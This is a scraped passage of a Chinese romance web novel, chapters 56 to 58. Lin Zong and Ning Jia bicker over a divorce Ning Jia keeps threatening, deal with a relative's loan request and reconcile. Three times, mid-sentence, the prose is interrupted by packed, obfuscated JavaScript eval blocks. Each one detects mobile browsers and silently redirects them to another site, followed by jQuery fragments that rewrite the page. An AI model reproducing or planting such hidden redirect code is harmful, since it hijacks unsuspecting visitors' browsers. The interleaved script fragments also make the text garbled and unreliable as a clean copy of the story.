;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719906|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而已。” 闻凯问:“退了吗?” “不知道,”林纵不是很在意,“没听他们在说什么。” 行的,闻凯是服气的。 宁嘉在猫房睡觉,把昨天搬到院子里的躺椅又搬进猫房,富贵在他边上的小床睡觉,侧过脸就能看见。 午后的阳光晒进猫房,正好晒到富贵身上和宁嘉半条腿,冷气充足,夏日的阳光变得很温暖。 闻凯刚想说话,被林纵一记眼神杀制止,关上门,闻凯才低声骂道:“我说你够了,弄得别人没谈过恋爱似的,你那么宝贝他,他把你当什么。” 林纵凉凉扫了他一眼,又轻描淡写道:“你问问他,把我当什么了。” 闻凯决定不管这个闲事。 从猫房退出来,两人一块进了厨房,林纵从冰箱里翻出各种水果,拿起菜刀就开始切,闻凯受宠若惊:“怎么这么客气,我人来就行了,怎么还让我吃上水果了呢?” 林纵看着闻凯,笑笑:“不客气。” 闻凯笑得天花乱坠。 林纵手边有一个碗,切出来的水果都被装进碗里,闻凯伸手去接,林纵却把那碗挪走。 闻凯:“?” 林纵从柜子里拿出一个小碗,把菜板上切下来的边角料装进去,随手递给闻凯。 闻凯气得笑出了声:“打发叫花子都比你有礼貌。” 林纵从边角料里叉出一块自己吃了,闻凯闭嘴了,接过碗坐沙发上吃水果。 再晚一点,闻凯就自己回去了,说是过来蹭饭也没蹭着,他到现在还没吃上今天的第一顿饭,回去还得自己买饭吃。 “那我走了。”闻凯说。 林纵把人送到门口:“去吧,路上小心。” 他身上还带着病气,脸色差,声音是哑的,走路看着也没什么力气,看着闻凯的眼神却一如既往,带了些凉薄。 闻凯比了个打电话的手势:“到时候打我电话。” 林纵把人踢出去:“到时候再说吧。” 宁嘉从猫房里出来,林纵正倚在沙发上睡觉,也没点动静,只看到一颗脑袋垂在上头。 林纵的眼睫毛很长,鼻梁高挺,这么看过去和洋娃娃似的,怎么睁开眼就是另一个样子呢。 似乎是听见了宁嘉的话,林纵睁开眼。 宁嘉吓得差点想后退,忍着没动,上前一步,煞有介事地摸了摸林纵的额头。 “摸出来了吗?”林纵问。 宁嘉又摸摸自己的,笑着说:“没摸出来,应该退烧了吧。” 林纵:“早上医生怎么说?” 宁嘉:“他说还有点低烧,如果晚上再烧起来就吃退烧药。” “那应该是吃不着了。”林纵坐起来,“给你切了点水果,饿了去吃点。” 宁嘉立马跑去厨房,把水果端出来,笑嘻嘻地坐到林纵身边,叉了颗水果送到林纵嘴边:“学长,你吃吗?” 他好像忘了要和林纵离婚的事,也忘了要让林纵讨厌他的事,他对着林纵笑,让林纵对他的喜欢更多了一点,多的要溢出来了,还要用手去接。 睡过一觉后,林纵彻底退了烧,只是精神恹恹的,很不想上班的样子,宁嘉看着新鲜,在林纵身边转来转去:“学长,司机来了吗,你自己开车去吗?” 林纵把他抓住:“你开车送我也行。” “我?”宁嘉有一点怂,又有点冲动,想了想,“下次吧下次吧。” 林纵也没有勉强:“下次要学。” 宁嘉点头:“好的好的。” 最后还是林纵自己开的车,顺便送宁嘉去了公司,宁嘉很是愧疚,遗憾自己是个废物点心。 周末假期过后总让人不想上班,就算是林纵也不例外,成叠的文件资料合同堆在办公桌上,周一还需要开会。 上午十一点,忙碌的一早上的林师傅这才有了点休息时间,助理走进来:“林董刚刚来过电话。” 林纵拿起一叠文件在看:“知道了。” 又过了一会儿,林纵的手机响了,直到快挂掉,才被接起来,电话里静悄悄的,两边的人都没有说话。 许久后,林平生叹了口气:“就是想告诉你一声,吴良仁早上找过我。” 56. 第 56 章 吴良仁最终还是把手伸到了林平生那里,只三个字打断了林纵想要挂电话的想法。 林纵没有开口,却也没有挂断电话,林平生知道他的意思,只好说:“来找我借钱的,我回绝了。” 林纵说:“知道了。” 随后电话两头再次陷入寂静。 上次两人不愉快的分别后,就没有再联系,林纵本来就不是主动联系林平生的人,而林平生似乎真的因为林纵那一番轻飘飘的话受到伤害,像是无法接受。 于是他抛开慈父的虚假形象,一反常态没有在林纵面前找存在感。 林平生到底是老了,太想要他曾经不屑一顾的儿女亲情:“听说吴良仁前段时间找你借钱了。” 林纵说:“也找了宁嘉。” 林平生有了借口继续往下说:“说是和我们家联姻,嫁过来的却是个和吴家没有关系的。” 林纵不喜欢林平生用“嫁”这个字眼,他们之间只是这样冷淡的关系,倒也没有必要争辩什么。 林平生:“他说他算宁嘉的继父,宁嘉认吗?” 林纵说:“不认。” 林平生问:“借钱也是先找的宁嘉吧?” 林平生都知道,两家联姻最该有的就是利益来往,林纵和宁嘉最开始会结婚就是因为这个。 “吴良仁需要一个亿的资金,”林平生讽刺地笑了下,“他说可以用宁嘉的名义给我写欠条。” “宁嘉没答应。” “我知道。” 林纵话少,涉及到宁嘉却愿意多说几句,林平生也乐意:“和你结婚的是宁嘉,这场婚姻里唯一没有得到好处的人是宁嘉,到头来把宁嘉推出来找我借钱,吴良仁也是会做生意。” 林纵想了想,说:“宁嘉说吴良仁答应了要和他妈妈结婚。” 林平生冷哼一声:“不可能的。吴良仁和前妻离婚的时候,对方只分走很少一部分财产,两人签过协议,不可以续弦,不能让属于她孩子的财产分到别的女人手上。” 林纵还是第一次听说:“我不知道这件事。” 林平生:“知道的人很少,吴良仁的前妻给他带了绿帽子。” 林纵:“......” 林平生用老男人的口吻顽劣地笑笑:“他自己说不出口,架不住有人好奇。” 更具体一点的情况是,吴良仁的前妻婚内出轨,但那个时候吴良仁自己的私生活也不太干净,但男人生意场上应酬是很正常的事,这事换到他的妻子身上就不能被接受。 前妻便说要离婚,吴良仁当然不接受,不单单是钱的身份,他的身边需要一个女人。 可吴良仁好像天生吸引恋爱脑,前妻也是恋爱脑,吴良仁不肯离婚,前妻却不答应,想要和隔壁老王在一起。 离婚的事情还得到了一个人的同意,那就是吴华,他尊重了母亲的选择,也得到了那笔最终属于自己的财产。 吴良仁再怎么瞒,这件事情还是瞒不住,只是他毕竟不是林平生,他是被出轨,因此说不出口。 林纵了然:“他不是真心喜欢宁嘉的妈妈。” 林平生诧异道:“当然不是,那个女人都不算摆在明面上的,背地里还有好几个人。” 林纵:“......” 林平生似乎第一次知道,他心持怀疑,难以相信林纵说出这话走的竟然是纯爱路线。 林纵和他没有话好说,想要挂电话。 林平生拦住他:“有空回家一起吃个饭。” 林纵:“再说吧。” 林平生说:“带上宁嘉。” 林纵把电话挂了。 林家父子总有这样的本事,做过的事情向来不记得,还喜欢自圆其说。 林平生好像不知道林纵恨他,又或者那样的恨没什么大不了的,毕竟林纵是他的亲生儿子。 就像当年林悄悄因为孤立无援会选择求助当年使她变成这样男人一样,林纵也会的,总有一天,他会知道林平生的好。 上班时间,宁嘉还在和同事瞎聊天,支着下巴,一边聊天一边想林纵。 宁嘉正翻着照片,要给同事看富贵太监后的惨样,林纵的电话先来了。 宁嘉突然变得窘迫,急急忙忙把手机翻过去,又有点害羞地看向同事。 同事早就看到手机上“学长”两个大字,带着闪烁的光芒,让人心里冒粉红泡泡。 宁嘉老脸一红:“我去接个电话。” 同事连忙点头,一脸懂得都懂:“去吧去吧。” 宁嘉握着手机跑了,出了公司门,接听电话又往角落里跑,不知道林纵找他干什么,但就是因为很想林纵,于是连这通上班时间的电话都变得暧昧起来。 “在干吗?”林纵问,他声音还有些沙哑,但是很性感,宁嘉很喜欢。 宁嘉经过洗手间,本来想洗把脸,突然想起来耳朵贴着手机,洗脸不太方便,象征性洗了下手:“在和你打电话啊。” 林纵笑了下,似乎觉得宁嘉的话很有意思:“在公司里?” “不啊,”宁嘉还在寻找通话地点,“我出来接电话了。” 林纵听到电话那头的脚步声:“没找到地方吗?” 宁嘉一门心思到处找隐秘的角落:“什么?” 林纵淡淡道:“和我偷情的地方。” 宁嘉:“......” 宁嘉不找了,原地站定:“学长,你找我什么事?” 对啊,都没问什么事,宁嘉就跑那么远,怪麻烦的,不如直接进楼梯间强。 宁嘉对林纵很失望,心说,你看看你,这就是我要和你离婚的原因! 宁嘉停在原地,打算听完林纵的话后就打道回府。 于是宁嘉毫无征兆的,全然不当一回事的,听到林纵用性感的沙哑的嗓音说出满分动听的情话:“我想你了。” 宁嘉:“......” 电话里连呼吸声都听不见了。 林纵好像不知道自己说了什么,语气自然地问:“怎么不说话?” 宁嘉心里想,我都要和你离婚了,我说个屁啊,张口,一点都不结巴地说:“我也想你了。” 林纵:“......” 空气突然甜蜜的一塌糊涂。 助理推门进来:“林总,有个文件需要您签署一下。” 宁嘉:“......” 林纵:“......” 宁嘉立马:“学长我挂了。” 连说话的机会都不给,宁嘉就挂了电话。 林纵听了两声嘟嘟音,看到手机屏幕上通话结束界面,抬眼去看助理的脸。 助理满脸真诚,弱小无助迷茫:“怎么了,林总?” 林纵面带微笑:“没事。” 助理觉得他们林总的表情很是渗人。 林纵说:“你午饭可以少吃一点。” 助理连忙摸脸,甚至忘了林纵的脾气,着急地问:“怎么了吗?我胖了吗?丑了吗?” 林纵:“你太亮了。” 助理:“......”林总您真是幽默。 午休过后,宁嘉关闭睡眠模式,看到了屏幕上的未接来电,有许诗瑶的,也有吴良仁的,联想到林纵先前打的电话,宁嘉找到了原因。 宁嘉和许诗瑶有一段时间没有打电话了,许诗瑶偶尔会发消息,问宁嘉吃饭了没有,下班了没,这两天过的怎么样。 宁嘉也会回复,吃过了,下班了,过得不错。 再多的,两人都没有提过。 这天,许诗瑶打来的电话,宁嘉没有接到,他点开微信,没有收到许诗瑶的消息。 倒是吴良仁发了好几条,语音加文字,语气急切,想来是项目款约定的最后时间快到了。 下午四点多,大概是经过一番波折,宁嘉收到一条来自许诗瑶的消息:嘉嘉,真的不能帮帮叔叔吗。 当然不能啦,宁嘉冷酷回:不能。 许诗瑶没回。 不过,宁嘉想起来了,成天说要和林纵离婚,他就没有实施过,晚上下班,得把这件事提上日程。 林纵这天下班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724416|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回家晚,宁嘉到家的时候阿姨已经做好了饭菜,她问:“要不要先吃饭呀?” 宁嘉想,要的,我是要和学长离婚的人,两个人不适合一起吃饭,开口:“不要啦,晚一点,学长什么时候回来?” 阿姨也不知道:“没说呢,只说让我做饭给你吃呢。” 宁嘉被感动的一塌糊涂,遂坚决,一定要离婚。 于是他等着林纵一块吃晚饭。 晚饭时间,两人同桌,吃饭的氛围相当和谐,宁嘉想来扫扫兴,问起:“学长,吴良仁今天是找你了吗?” “他找了林平生。”林纵说。 林纵:“?” 宁嘉听见林平生三个字已经开始龇牙,要咬人了。 林纵笑了下,感觉到了被在乎,接着说:“林平生没答应,和我说起这件事。” 宁嘉很想阴阳怪气地问,哦,你们又和好了哦。 不过他那表情也差不多了,林纵便解释了一下:“那天过后第一次找我,和你有关,我就听了一下。” 宁嘉心里又暖乎乎地,哎呀,我一点都不在意这种小事。 “吴良仁后来也打电话给我了,我当时正好有事,没接到。” 宁嘉两眼发光。 林纵:“?” 宁嘉兴奋道:“我睡觉呢,也没有接到。” 林纵理解了宁嘉的意思,点头:“挺巧的,他以为我们不想接,应该不会找了。” 宁嘉问:“为什么。” 林纵说:“今天是最后时限,他留了后手,我们不借他钱,他就会找别人。” 倒也挺正常,宁嘉点点头,又好奇:“如果交不出钱,他要亏多少钱?” 林纵淡淡:“那个项目值一个亿吧。” 宁嘉觉得碗里的饭非常香:“......” 宁嘉被院子里的蚊子搞怕了,饭后休息死活不肯进院子,其实也没有那么夸张,院子里的花草消杀过,正常行走,蚊子也不咬人。 但宁嘉不肯,去猫房找富贵玩了。 富贵不愧是宁嘉养的猫,生命力和宁嘉一样顽强,今天已经能蹦能跳了,宁嘉和它玩了一会儿,又不敢让猫动的太激烈,没多久就离开了。 一个星期总有那么五天不想上班,宁嘉洗个澡,挂在沙发上打游戏,林纵去厨房倒水的时候顺上来几包零食,扔到茶几上,让宁嘉打游戏的空隙吃点。 等到林纵吃完澡出来,看到宁嘉觉得抠了抠脚指头,然后用抠脚指头的手磕了颗瓜子,宁嘉眼珠子一瞥,看见林纵正眼神淡然地看着他。 宁嘉眯眼,傻笑:“嘿嘿。” 林纵甩了甩毛巾走了。 宁嘉立马放下瓜子,吃不下一点。 宁嘉睡前又刷了次牙,洗了手,还顺便把手机给擦了,嫌弃,倒是不太嫌弃,他干吗要嫌弃自己,但还是洗香香然后上了床。 林纵正在看书,没理他,但宁嘉知道,林纵一定很嫌弃他。 可能还在心里想想,竟然和宁嘉这么邋遢的人结婚。 真是太好了。 宁嘉兀自兴奋,对着空气傻笑出声。 林纵:“?在笑什么?” 宁嘉傻兮兮地:“学长,亲一下。” 林纵:“?” 他们两个之前是亲密的,但好像也不是,有些亲密是属于恋人的,可他们之间明显不是这样的关系,从来都是林纵在主动,林纵想占有,宁嘉主动还是第一次,但好像能够因此增进他们的感情。 只是宁嘉贼兮兮的,显然和林纵不是一个心思,林纵婉拒了:“不亲。” 宁嘉凑过去,紧紧抱住林纵,像白骨精遇到了无欲无求的和尚,强扭的瓜才有意思,一个劲往林纵脸上蹭:“哎呀,亲一下嘛,我刷过牙了,没有脚指头的味道。” 林纵:“......” 宁嘉发出一言难尽地笑声:“嘻嘻嘻。” “哈哈哈。” “嘿嘿嘿。” “亲一下嘛,美人儿。” 林纵:“......” 57. 第 57 章 林纵越抗拒,宁嘉越兴奋,用力抓着林纵的样子真有调戏良家妇女的架势。 林纵屈服了,不再动,他看着宁嘉,宁嘉也看着他。 宁嘉:“......” 难以言喻的气氛出现的突然,宁嘉来不及应对,莫名害羞起来。 宁嘉退后一点,林纵往前凑了凑。 宁嘉立刻没有犹豫地退回到床上属于他的另外半侧,抓起被子盖过头顶。 林纵无奈,揪揪被子:“别闷到你。” 宁嘉很坚决,欲哭无泪地抓住被子:“学长,你就当没看见我呢。” 林纵也不知道宁嘉闹得什么,宁嘉不想让他看,他就不看了。 被子上的拉力消失了,宁嘉闷在被窝里又有点郁闷,不知道过了多久,林纵关了灯,也躺了进来。 像平时那样,林纵把宁嘉圈进怀里抱着,再进一步的动作就没有了。 宁嘉更加郁闷了。 黑色小人说:啊,就这?刚才都快亲到了,现在说睡就睡了哦。 白色小人说:那你还想怎么样,屁股痛一下老实哦,直男屁股也那么欠? 宁嘉突然菊花一紧,紧闭双眼,悲伤就不会到来。 许久后,宁嘉转过头,钻进林纵怀里,借着不明显的月光,看着林纵好看的脸,想伸手碰碰,又没有那个胆子。 第二天一早,宁嘉洗完漱下楼去找富贵,富贵身体健康恢复良好上蹿下跳,凑过来轻轻蹭着宁嘉的小腿,然后再咬一口。 宁嘉:“......” 宁嘉当场暴走:“富贵,我杀了你!!!” 猫和人迟早疯一个。 刚起床就那么点力气,宁嘉陪着富贵闹完了,坐到地上给猫铲屎,富贵最喜欢宁嘉给它铲屎,于是一人一猫一前一后坐着相当和谐。 宁嘉一边铲着一边捂着鼻子皱眉:“傻猫,你屎好臭啊。” 富贵却看得很开心,还有些不舍,在宁嘉把它的屎铲走的时候,时不时伸手去拦。 每当这种时候,宁嘉就会感觉到养猫的快乐,他养得不仅仅只是可以给他提供情绪价值的猫,好像真的养了个小朋友。 铲完,铲子才放到一边,富贵就迫不及待进去上厕所。 宁嘉眼睁睁看着富贵连尾巴都在用力地上厕所,画面就很喜感,他还不走,就那么看着,嘴上还念叨:“加油,加油。” 富贵:“......” 猫是好猫,搭上的主人不太正常。 陪富贵玩了半天,阿姨叫吃饭了,宁嘉才出去。 这个时候林纵刚好从楼上下来,宁嘉急匆匆地,十分兴奋地上前抱住了林纵。 林纵立马就把人接住了,低头看看:“怎么了?” 这情况,阿姨说匿就匿了。 宁嘉转头,已经看不见人了。 林纵感觉到,宁嘉抱着他的两只手不是贴着他的腰,似乎只有掌心在接触着,宁嘉想要退开一点,林纵没让。 宁嘉低着脑袋,耳尖红红的,又有点骄傲地说:“我给富贵铲完屎没洗手。” 林纵问:“想擦我身上?” 宁嘉也觉得自己这行为有点二百五,还是点点头,故作骄傲:“是啊。” 宁嘉想要恶作剧,却又不愿意完全这么做,就像昨天晚上追着林纵要亲一样,最后又没有真亲。 宁嘉不太高明地做着不算坏事的坏事,林纵只觉得他很可爱。 林纵顺势在宁嘉额头上亲了一口,问道:“你在想什么?” 宁嘉脑门上突突冒烟,郁闷地说:“我想什么已经不重要了。” 林纵拍拍他:“去吃饭吧。” 宁嘉飞快地跑了。 林纵又说:“记得洗手。” 奔跑的宁嘉原地拐了个弯去卫生间洗手去了,富贵有时候跑快了会打滑,仔细看,原来学的是主人。 为了迁就林纵,早餐吃的是偏清淡的稀饭,宁嘉舀着勺子又有些犯困:“我想吃豆浆和油条。” 林纵很好说话:“明天让阿姨给你做。” 宁嘉不太熟练地耍横:“我想今天就吃!” 这不是什么问题,林纵说:“等下出去买。” 宁嘉继续找茬:“我想现在就吃!” 林纵抬眼瞧他,很平淡的,不带任何情绪的眼神,给宁嘉瞅得肩膀缩起来,投降:“那......那明天吃也可以的。” 林纵从善如流地点头。 宁嘉:“......” 吃过饭,两人一块出门上班,林纵又提起让宁嘉学开车的事,宁嘉在副驾驶紧紧抓着安全带,敷衍:“过段时间再说吧。” 学车干吗呢,过段时间就要和林纵离婚了,没人爱没人疼,宁嘉是个没人要的两百六十个月大的孩子。 宁嘉越想越悲伤,转头,叹了口气,看着林纵的侧颜突然垮起个批脸。 林纵:“......?” 办公室里,宁嘉支着下巴思考,离婚,是一件很困难的事,和林纵离婚则是一件极其困难的事。 要怎么顺利的毫发无损地让林纵主动和他离婚呢,这是一个问题。 宁嘉收到一条来自许诗瑶的短信:叔叔的工程款已经凑到了,不要担心。 宁嘉心说他才不担心呢,想了想,还是忍不住八卦:找谁借的? 许诗瑶回复:吴华。 多么冰冷的两个字,不知道许诗瑶有没有想通,吴良仁轻而易举能够找吴华借到钱,为什么偏偏要在宁嘉和林家之间绕了一圈又一圈。 宁嘉:好的。 许诗瑶:我在医院复查呢。 宁嘉:一切都好吗? 许诗瑶:都好的。 他们俩已经很久没有这样心无芥蒂的谈话了,毕竟是这世上唯一的亲人了,宁嘉也不可能永远对许诗瑶狠心:早点做手术。 许诗瑶一直不肯正视这件事,总说再看看,知道了,这次却一反常态:好的。 也不知道许诗瑶是听进去了没有,宁嘉想不出来还要说什么。 母子之前因为一个不是父亲的男人闹成这样,这实在是很尴尬的事情,宁嘉也不知道该说什么。 上午十点多,林纵发来消息:中午外卖。 百忙之中的林师傅抽出时间,仍然记得给他们宁嘉叫外卖吃,宁嘉十分感动,于是说:不吃。 林纵问:和同事他们吃饭? 宁嘉无理取闹中:一百多的外卖太便宜了,我不想吃。 林纵:给你买贵的。 宁嘉继续耍赖:要吃四位数的。 林纵:好的。 宁嘉:“......” 宁嘉是不信邪的,首先不相信这个世界上有这么贵的外卖,如果有,这些店就是想不开。 其次,宁嘉认为林纵不会允许他泼皮一般的行为,除非林纵是个傻子。 一个多小时后,宁嘉:“......” 首先,林纵不是个傻子。 其次,宁嘉看着桌上的外卖确定它一定超过四位数了。 宁嘉不知道林纵在想什么,决定打电话问问。 宁嘉看着外卖哭笑不得:“学长,你在想什么啊?” 林纵也在吃外卖,闻言,淡淡道:“四位数的那家外卖今天没开门,你勉强吃点便宜的吧。” 林纵说的勉强,就是让宁嘉吃三份单价超过三百总价超过一千的外卖,宁嘉欲哭无泪,早知道省着点力气作:“可是我吃不了这么多啊。” 林纵说:“那你加油。” 宁嘉搬起石头砸自己的脚,十分悲伤地挂了电话。 不知道宁嘉这两天在闹什么,找茬的手法特别低级,但特别有意思。下班前,林纵见了个客户,回公司还是直接下班差别不是很大,让司机把车开到宁嘉公司,准备接人回家。 司机被打发走,林纵独自在等宁嘉:在干吗? 下班前的那段时间,称为摸鱼黄金期,宁嘉秒回:等下班。 林纵:接你下班。 宁嘉:这不好吧。 林纵不和宁嘉多说:不想见我,那让司机接你回去。 虽说两家公司间隔不远,大多数时候,宁嘉还是自己回家,一起上班还算方便,林纵顺路就把宁嘉送到了,但准点下班的宁嘉和时常加班的林纵显然没有缘分,两人都是各回各的。 林纵这么说,宁嘉哪能让对方误会啊,就算他是真的这么想:没有的。 林纵:嗯。 宁嘉:“......” 难搞,本来就难搞的男人,结了婚更难搞。 宁嘉自闭了,爱谁谁接吧,他都是贵妇了,下班有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728548|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人接不过分吧。 公司楼下的马路旁停着车,宁嘉认识,确实是司机经常开的那辆,宁嘉松了一口气又觉得有点失落,走过去,打开后座车门,正想坐进去,听见司机凉凉地说:“坐前面。” 啊,林司机,宁嘉又不失落了,坐进副驾驶,看见林纵下意识先笑起来:“学长,怎么是你。” 林纵面无表情:“让你失望了。” “没没没,”宁嘉想笑不敢笑,阴阳怪气的林纵很久没有见到了,“就是很意外嘛,你怎么亲自过来了。” 林纵:“下班早。” 宁嘉:“司机呢。” 林纵刚想挂挡的动作一顿:“我把他叫回来给你。” 宁嘉连忙拦住他:“没没没,我就问一声啊,你这人怎么这样,问都不给问。” 林纵说:“是我的错。” 宁嘉说:“没事的没事的,我就勉为其难原谅你了。” 林纵说不过宁嘉,不和他说了。 路上,林纵问起来:“中午的饭都吃完了?” 说起来宁嘉就想笑:“怎么可能,我又不是猪,分给同事当下午茶了。” 林纵点头:“嗯。” 宁嘉偏头看他:“怎么说呢?” 林纵说:“你不是猪。” 宁嘉:“......怎么还骂人呢?” 林纵看向宁嘉。 宁嘉转头不看他。 立秋过后,天气渐渐凉快下来,回家路上打开车窗吹到的是狂野温热的风,夕阳渐行渐远,黄昏把天空染成绚烂的暖色,路过一片绿茵,宁嘉闻到了植物的香气。 “香香的。”宁嘉说。 林纵的声音在他身后悠悠传出:“你闻到的是车载香薰的味道。” 宁嘉扭头,龇牙:“怎么可能!” 林纵把瓶子丢给宁嘉,让他自己闻。 宁嘉鼻子嗅嗅,再也不会快乐了。 “闻够了就把窗户关上。”车里还打着空调。 宁嘉和他争辩:“你把空调关了嘛,外头空气清新。” 两分钟后,汽车在红绿灯处停下,宁嘉讪笑道:“不开空调还挺热哈。” 林纵点头:“嗯,不开。” 宁嘉:“......” 今天回家早,林纵有时间下厨,问宁嘉:“晚饭想吃什么?” 宁嘉跟在林纵身后脱鞋:“不想在家里吃。” 林纵脚步一顿:“刚才怎么不说。” 宁嘉理不直气也壮,要离婚就要有英勇就义的勇气:“现在想到的。” 于是林纵转身,顺便把鞋脱到一半的宁嘉带走:“那就去吃火锅。” 宁嘉被林纵架着走,有一点心虚:“学长,你是不是生气了?” 林纵问:“为什么要生气?” 宁嘉挺有自知之明地说:“我找茬嘛,给你找麻烦,开车又累,有事不早说。” 林纵:“......” “话都让你说完了我说什么?” “那你就别生气了呗。” “没生气。”林纵又带着宁嘉走了。 阿姨听见动静,从房间里出来,客厅里空荡荡的,拖鞋还在门口,到底回来了没有啊? 宁嘉晚上被林纵抱着睡觉,抱枕似的被箍在怀里,眼睛睁得大大的,挺郁闷地想,要怎么才能让林纵和他离婚。 又想,让他帅气无比脾气超好多金优秀没有缺点的学长主动和他提出离婚是不可能了,毕竟林纵这么好,根本不会和他这样的小人一般计较。 算了算了。 第二天早上,林纵起床,宁嘉在床上翻了个身,呈大字型躺开:“学长。” 林纵扣着衬衫,回头看他:“怎么了。” 啊,学长真是三百六十度的帅,宁嘉感叹着,冷酷地说:“没事的话,把婚离一下。” 林纵动作停顿,迷起眼睛。 宁嘉不耐烦:“我烦了。” 于是林纵开始解扣子,他做什么都慢条斯理,手指修长,什么动作都会很好看,纽扣一颗颗被解开,好看的手抓住了宁嘉往回缩的脚踝:“没事的话,怎么样?” 宁嘉开始飙泪:“老公,我爱你。” “我不是那个意思。” “你要相信我的。” “呜呜呜。” 58. 第 58 章 林纵翘班了,宁嘉也是。 一个上午过去,宁嘉老实了,非常老实,并且得出结论——感冒其实不影响一个有心男人的战斗力。 宁嘉感觉到了,也很满意。 房间里冷气很足,宁嘉却满身是汗,汗涔涔被林纵半边身体压着,也很满足。 纠结了这么长时间,勉强自己做不想要做的事,宁嘉终于解脱了。 他不想和林纵离婚,并且他很喜欢林纵,不管是当初盲目的不问理由的喜欢,还是如今和对方真正朝夕相处后真正感觉到的儿女情长,宁嘉都很喜欢林纵。 这真是太好了,宁嘉想。 林纵没问宁嘉为什么想和他离婚,一个上午他都很沉默,却不是因为心情不好,他会抱着宁嘉和他亲吻,从肌肤相亲中感觉到他想要的东西,至于别的,当做不知道就好了。 林纵凑在宁嘉颈边呼吸,宁嘉第一次有这种想法——林纵像是一只大狗,哪怕宁嘉没有养过狗,也突然理解那些人为什么会喜欢那么大的宠物,因为很温暖,很舒服。 “学长。”宁嘉哆哆嗦嗦伸出手,拍拍林纵的背。 林纵翻了个身,却又牵着宁嘉的手,两人十指相扣躺在床上发呆,呼吸渐渐平缓,手心却因为彼此的温度出了更多的汗。 许久后,林纵问:“饿了吗?” 宁嘉点头,饿死了,担心林纵看不见,又出声:“嗯。” 林纵说:“洗个澡去吃饭。” “好,”宁嘉突然乖巧,林纵说什么是什么,不反驳不找茬,怎么看林纵怎么顺眼,“学长,你下午去上班吗?” 林纵转过头看他:“嗯,你呢?” 宁嘉想想:“要的。” 林纵把宁嘉拉起来,宁嘉慌张地拿被子往身上挡,他皮肤很白,也很瘦,四肢修长,关节处带着淡淡的粉色,是个长得过分好看的男生。 林纵当年到底为什么会注意到宁嘉呢? 除了好看以外,还有他十八岁的年纪仍然保持着林纵从来羡慕却又没有的美好。他张扬爱笑,会肆无忌惮,也会不好意思。 “挡什么?”林纵站起来,背对着宁嘉,言语却调侃,“早上都看光了。” 早上到底为什么开灯? 宁嘉在林纵去洗漱后想了很久,终于想起来,林纵开灯本来是为了穿衣服的,却因为宁嘉这个不服输偏偏找死的头铁,于是他把衣服扒了,又顺便扒了宁嘉身上薄薄的一件。 室内灯光明亮,宁嘉只顾着挡脸了。 宁嘉:“......” 林纵洗完澡,又变成一个好看的衣冠禽兽,衬衫袖子半折,领口松了两颗纽扣,居高临下地看着宁嘉:“还不起来吗?” 宁嘉背对着林纵,从被子里伸出一只胳膊,晃晃,瓮声瓮气地说:“你先走吧。” 林纵拉住他的手:“不一起上班吗?” 宁嘉缩回手,后脑勺摇摇:“你先去吧。” “也行,”林纵十分善解人意,“太累的话就在家休息。” 宁嘉:“......”谢谢你,你不累的。 早上宁嘉的请假条是在床板摇摇晃晃地过程中写好的,林纵恶趣味很重,不管宁嘉说什么都不理,眼皮子抬抬,轻飘飘地示意宁嘉就现在请。 宁嘉请了,理由是病假,他老公有病。 领导被这个理由说服:那好好照顾家属,不急着上班。 结果宁嘉下午就来了,同事很意外,睡梦中睁开半只眼睛:“宁嘉?上班时间还没到呢,你怎么来了?” 宁嘉笑笑,给同事带了奶茶和蛋糕:“没看时间,来早了。” 他在工位里坐了一会儿,等待上班时间到来,然后起身去了领导办公室,领导眼睛还没睁开呢,躺在沙发上,枕着胳膊睡得正香,敲门声响,慢悠悠坐起来:“请进。” 宁嘉进来看了领导一眼,表情怪怪的,领导坐到办公椅上,示意宁嘉给倒杯水,宁嘉拎起来感受了一下:“有点凉了。” “没事,”领导说,“我还想喝冰的呢。” 宁嘉就给他倒了,体贴地送到领导面前:“领导,我想辞职。” 领导刚睡醒,一口气没喘上来,看着宁嘉,直勾勾看着宁嘉。 宁嘉:“?” 领导指着茶几:“你把那杯水放回去,收回刚刚的话。” 宁嘉哭笑不得:“不行的啊。” 领导凄凄惨惨戚戚,搞不懂,真的搞不懂,他只是睡了一觉:“你辞什么职?为什么要辞职?” 宁嘉:“我......” 领导伸出尔康手:“不要再说了,你看看我这个破公司,从上到下,除了我就只有你一个男的,你走了我怎么办?” 宁嘉:“......?”唯二的男同事前两天刚辞职,老婆要生了。 宁嘉刚想说话,又被领导阻止了:“前段时间,是有那么点事,但是也不是你的错啊,流言蜚语总有的,人活在世上还能没有这些破事嘛。” “你是个好人。” 宁嘉莫名其妙被发了好人卡。 领导说:“我知道那些事是怎么回事,资本总是这样的,有钱就是大爷。” 宁嘉脸色一变:“林少找你了吗?” 领导摇摇头:“我这样的人物还不至于他找我。” 